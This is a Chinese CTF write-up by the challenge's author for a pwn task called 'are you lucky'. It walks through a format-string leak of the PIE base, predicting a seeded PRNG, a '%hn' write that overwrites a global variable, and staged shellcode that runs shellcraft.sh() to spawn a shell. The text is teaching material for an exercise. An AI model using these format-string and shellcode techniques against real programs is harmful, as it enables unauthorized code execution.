由于是第一次作为出题人,有许多不足的地方,比如这题忘记关相应输出了,导致 fmt 可以 leak,从而绕过随机数(QWQ)。

开启了 PIE 保护,关闭了 NX 保护,大概率能打 shellcode,拖入 IDA 里面看。

are you lucky 分析

login

先是一个登录,输入 user_name 与 114514 编码后的结果。熟悉的师傅应该能看出是 Base64 编码,不熟悉的师傅可以通过 gdb 调试得知。

login

root

接着看一下 root 函数的汇编,发现有一个全局变量 target,需要将 target 的值与 0x2918(即 10520)进行对比,如果一样就能打 shellcode。

在打 shellcode 时发现限制了输入的字节数,这里可以靠师傅们自己发挥。我是先搓出 read 函数,再使用 shellcraft.sh()。

shellcode = '''
xor rdi, rdi;
mov rsi, rdx;
push 0xff;
pop rdx;
syscall
'''
shellcode = asm(shellcode)
io.sendafter(b'performance\n', shellcode.ljust(0xf, b'\x90'))
io.sendline(b'\x90' * 0x20 + asm(shellcraft.sh()))

root 函数分析

edit 与 game

再看看 edit 函数与 game 函数。在 game 函数中,发现 20 次输入中每次输入的数与生成的随机数一样,最后就会给出 main 的地址,这样就能得到基址。

在 edit 函数中发现存在 fmt。由于没有关闭相应的输出,即使没有绕过随机数判断,也可以 leak 得到基址,然后再修改 target 的值,从而进入 root 函数打 shellcode。

下面分别说明这两种获取基址的做法。

edit 函数

game 函数

leak 获取地址

第一种是 leak 的做法。因为存在 fmt 且没有关闭相应的输出,所以在 edit 函数中不仅能修改 target 的值,也能泄漏地址。

找到相应的偏移,然后先泄漏地址再修改值,当然泄漏地址时也可以找其他位置。

io.sendlineafter(b' >>', b'1')
io.sendline(b'%35$p')
io.recvuntil(b'0x')
base_addr = int(io.recv(12), 16) - 0x1a4c
print(hex(base_addr))
target = base_addr + 0x040CC
io.sendlineafter(b'new password', b'123456')

leak 地址

edit 输入

伪随机数

第二种是随机数判断的做法。在 game 函数中会给我们 main 函数的地址,只需要在 20 次输入中每次输入与生成的随机数一样即可。因为题目给了种子,可以编写一个生成随机数的程序。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
srand(time(0));
srand(rand() % 3 - 1522127470);
int x = 0;
for (int i = 0; i < 120; i++)
{
x = rand() % 4 + 1;
printf("%d\n", x);
}
return 0;
}
io.sendlineafter(b' >>', b'2')
recv_data = os.popen('./random').read() # random 是自己编写的程序
values = recv_data.strip('\n').split('\n')
for i in range(20):
payload = values[i]
io.sendline(str(payload))

io.recvuntil(b': 0x')
main = int(io.recv(12), 16)
print(hex(main))
addr_base = main - 0x019D0
target = addr_base + 0x040CC

修改 target 的值

最后利用 fmt 修改 target 的值,有两种写法。

第一种是使用 fmtstr_payload,这种方法比较简单:

payload = fmtstr_payload(20, {target: 10520})
# 20 为偏移,{target: 10520} 表示将 target 的值改为 10520

另一种是不使用 pwntools 自带的 fmtstr_payload,自己构造 payload。这种方法更复杂,但有助于理解 fmt 漏洞:

payload = b"%10520c%22$hnAAA" + p64(target)

%10520c 表示输出 10520 个字符,%hn 表示将当前已输出的字符数作为 2 字节值写入指定地址,22$ 表示使用第 22 个参数作为目标地址,这个地址就是我们写入的 target 地址,AAA 用于对齐。

关于第二种写法,可以在 gdb 中观察:

输入前的栈

输入后的栈

这是输入后的栈上情况,可以看出输入的 target 地址在第 22 个参数处,这就是为什么使用 22$。

printf 后的栈

最后是 printf 后的栈上情况,可以看出值确实写入了 target。

总结

exp 可以根据上述过程自行编写。由于过程比较简单且已经说明得比较详细,原文没有给出完整 exp.